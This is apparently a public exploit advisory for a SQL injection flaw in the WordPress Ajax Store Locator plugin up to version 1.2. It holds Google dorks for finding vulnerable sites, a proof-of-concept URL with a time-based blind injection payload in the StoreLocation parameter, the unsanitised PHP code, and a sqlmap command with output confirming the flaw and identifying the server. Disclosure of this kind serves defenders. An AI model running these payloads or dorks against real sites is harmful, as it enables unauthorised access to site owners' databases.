WordPress Plugin Ajax Store Locator 1.2 - SQL Injection

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# Exploit Title : Wordpress Ajax Store Locator <= 1.2 SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://codecanyon.net/item/ajax-store-locator-wordpress/5293356

# Software Link : Premium

# Dork Google: inurl:ajax-store-locator
#              index of ajax-store-locator      

# Date : 2015-03-29

# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox

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# Info:

 The "sl_dal_searchlocation_cbf" ajax function is affected from SQL Injection vulnerability
 
 "StoreLocation" var is not sanitized

# PoC Exploit:

 http://TARGET/wordpress/wp-admin/admin-ajax.php?action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1 AND (SELECT * FROM (SELECT(SLEEP(10)))LCKZ)
 
 StoreLocation's value must contain "~" delimiter
 
 $storeLoc = $_REQUEST["StoreLocation"];
 ...
 ...
 $qryVal = explode("~", $storeLoc);
 $sql_query = "SELECT a.*,b.*, 0 as ......... LEFT JOIN `$sl_tb_pluginset` as b ON (1=1)  WHERE a.id=$qryVal[1]"

# PoC sqlmap:

 sqlmap -u "http://TARGET/wordpress/wp-admin/admin-ajax.php?action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1" -p StoreLocation --dbms mysql

 [18:24:11] [INFO] GET parameter 'StoreLocation' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable 
 for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
 [18:24:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
 [18:24:18] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
 [18:24:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
 [18:24:29] [INFO] checking if the injection point on GET parameter 'StoreLocation' is a false positive
 GET parameter 'StoreLocation' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
 sqlmap identified the following injection points with a total of 89 HTTP(s) requests:
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 Parameter: StoreLocation (GET)
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1 AND (SELECT * FROM (SELECT(SLEEP(5)))LCKZ)
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 [18:29:48] [INFO] the back-end DBMS is MySQL
 web server operating system: Linux CentOS 5.10
 web application technology: PHP 5.3.3, Apache 2.2.3
 back-end DBMS: MySQL 5.0.12
 

 
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Discovered By : Claudio Viviani
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